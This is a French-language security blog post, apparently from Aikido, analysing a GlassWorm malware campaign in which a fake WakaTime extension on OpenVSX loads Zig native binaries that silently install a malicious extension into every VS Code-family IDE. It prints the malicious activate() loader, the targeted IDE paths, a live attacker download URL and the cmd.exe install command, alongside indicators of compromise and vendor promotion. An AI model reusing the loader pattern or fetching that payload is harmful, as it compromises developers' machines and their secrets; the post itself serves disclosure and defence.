Nous suivons GlassWorm depuis plus d'un an. Il est apparu pour la première fois en mars 2025, lorsqu'Aikido a découvert des paquets npm malveillants dissimulant des charges utiles à l'intérieur de caractères Unicode invisibles. La campagne s'est étendue à plusieurs reprises depuis, compromettant des centaines de projets sur GitHub, npm et VS Code, et livrant plus récemment un RAT persistant via une fausse extension Chrome qui enregistrait les frappes au clavier et vidait les cookies de session. Le groupe continue d'itérer, et ils viennent de faire un bond significatif.
Nous avons observé cette nouvelle technique dans une extension OpenVSX nommée code-wakatime-activity-tracker. L'extension usurpe l'identité de WakaTime, l'outil populaire de suivi du temps pour développeurs, et intègre un binaire natif compilé avec Zig, en plus de son code JavaScript. Ce n'est pas la première fois que GlassWorm a recours à l'utilisation de code natif compilé dans des extensions. Cependant, plutôt que d'utiliser directement le binaire comme charge utile, il est utilisé comme une indirection furtive pour le dropper GlassWorm connu, qui infecte désormais secrètement tous les autres IDE qu'il peut trouver sur votre système.
Le dropper : une extension piégée
L'extension code-wakatime-activity-tracker, publiée sur OpenVSX, est, en apparence, presque identique à l'extension légitime WakaTime : mêmes enregistrements de commandes, mêmes invites de clé API, mêmes icônes de barre d'état. La divergence se produit à un seul endroit : la activate() fonction.
const bw = process.platform === "win32" ? "./bin/win.node" : "./bin/mac.node";
const { install } = require(bw);
install();Avant l'exécution de toute logique WakaTime, l'extension charge un binaire natif depuis le ./bin/ répertoire fourni avec l'extension et appelle immédiatement install(). Sous Windows, il s'agit de win.node, une DLL PE32+. Sous macOS, il s'agit de mac.node, un Mach-O universel couvrant à la fois x86_64 et arm64. Ce sont des addons natifs Node.js : des bibliothèques partagées compilées qui se chargent directement dans l'environnement d'exécution de Node et s'exécutent en dehors du sandbox JavaScript avec un accès complet au niveau du système d'exploitation. Les deux sont écrits en Zig. Le binaire macOS a été compilé avec les symboles de débogage intacts, révélant un chemin de projet /Users/davidioasd/Downloads/vsx_installer_zig.
Infection de chaque IDE sur la machine
Une fois chargé, le premier travail du binaire est de trouver tous les IDE installés sur la machine qui prennent en charge le format d'extension VS Code. Il installe ensuite silencieusement une extension malveillante dans chacun d'eux.
Windows (depuis win.node):
%LOCALAPPDATA%\Programs\Microsoft VS Code\bin\code.cmd
%LOCALAPPDATA%\Programmes\Microsoft VS Code Insiders\bin\code-insiders.cmd
%LOCALAPPDATA%\Programmes\cursor\resources\app\bin\cursor.cmd
%LOCALAPPDATA%\Programmes\windsurf\resources\app\bin\windsurf.cmd
%LOCALAPPDATA%\Programmes\VSCodium\resources\app\bin\codium.cmd
%LOCALAPPDATA%\Programs\Positron\resources\app\bin\positron.cmd
%ProgramFiles%\Microsoft VS Code\bin\code.cmd
%ProgramFiles%\Positron\resources\app\bin\positron.cmdmacOS (depuis mac.node) :
/Applications/Visual Studio Code.app/Contents/Resources/app/bin/code
/Applications/Visual Studio Code - Insiders.app/.../code-insiders
/Applications/Cursor.app/Contents/Resources/app/bin/cursor
/Applications/Windsurf.app/Contents/Resources/app/bin/windsurf
/Applications/VSCodium.app/Contents/Resources/app/bin/codium
/Applications/Positron.app/Contents/Resources/app/bin/positronIl ne s'agit pas d'une attaque limitée à VS Code : elle couvre tout l'écosystème d'éditeurs qui partagent le même système d'extensions : VS Code, VS Code Insiders, Cursor, Windsurf, VSCodium et Positron. Un développeur utilisant Cursor comme éditeur principal, mais ayant également VS Code installé, trouverait les deux compromis.
Une fois la liste des IDE établie, le binaire récupère un .vsix depuis une page GitHub Releases contrôlée par l'attaquant :
https://github.com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsixLe package usurpe l'identité de steoates.autoimport, une extension VS Code légitime et populaire avec des millions d'installations. Le fichier téléchargé .vsix est écrit dans un chemin temporaire, puis installé silencieusement dans chaque IDE détecté à l'étape précédente en utilisant l'installeur CLI propre à chaque éditeur. Sous Windows, cela s'exécute via cmd.exe:
cmd.exe /d /e:ON /v:OFF /c "<ide_path> --install-extension <vsix_path>"Après l'installation, cleanupVsix supprime le fichier téléchargé pour effacer les preuves.
L'extension de seconde étape
Le fichier .vsix installé de force est le même dropper GlassWorm que nous suivons et analysons en profondeur. Il géolocalise les systèmes russes, envoie des balises à un C2 basé sur la blockchain Solana, et dans notre analyse précédente, nous avons constaté qu'il effectue l'exfiltration de secrets et installe un RAT persistant, y compris une extension Chrome malveillante.

Comment Aikido détecte cela
Si vous avez installé specstudio/code-wakatime-activity-tracker ou si vous voyez floktokbok.autoimport dans l'une de vos listes d'extensions d'IDE, considérez votre machine comme compromise et révoquez tous les secrets qui auraient pu être accédés.
Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.
Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.
Pour une couverture plus large de toute votre équipe, l'Endpoint Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les logiciels malveillants avant qu'ils ne soient installés.
Pour une protection future, envisagez Aikido Safe Chain (open source). Safe Chain s'intègre à votre workflow existant, en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les packages par rapport à Aikido Intel avant l'installation.
IOCs
Extensions
specstudio/code-wakatime-activity-tracker(extension OpenVSX troyanisée)autoimport-2.7.9(implant de seconde étape dans les IDE)
Fichiers
win.nodeà l'intérieur de tout répertoire ./bin/ d'extension VS Code- SHA-256:
2819ea44e22b9c47049e86894e544f3fd0de1d8afc7b545314bd3bc718bf2e02
- SHA-256:
mac.nodeà l'intérieur de tout répertoire ./bin/ d'extension VS Code- SHA-256:
112d1b33dd9b0244525f51e59e6a79ac5ae452bf6e98c310e7b4fa7902e4db44
- SHA-256:
Réseau
https://github[.]com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsix
Chaînes
vsx_installer_zig(Nom de projet Zig trouvé dans le binaire macOS)davidioasd(Nom d'utilisateur trouvé dans le binaire macOS)

